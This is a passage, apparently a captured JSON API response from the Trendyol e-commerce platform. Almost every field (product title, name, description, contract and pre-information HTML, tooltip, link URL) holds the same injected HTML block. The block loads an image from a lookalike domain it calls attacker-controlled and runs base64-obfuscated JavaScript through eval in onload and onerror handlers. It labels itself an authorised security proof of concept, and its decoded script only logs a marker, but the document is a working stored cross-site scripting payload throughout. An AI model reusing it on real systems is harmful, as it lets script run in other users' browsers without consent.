onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","content":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","answer":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","distantSaleHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","preInformationHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","dataTooltipId":"trendyol-appsec-poc","dataTooltipHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>"},"data":{"id":8902662,"title":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","name":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","text":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","description":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","descriptionLink":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","linkUrl":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" 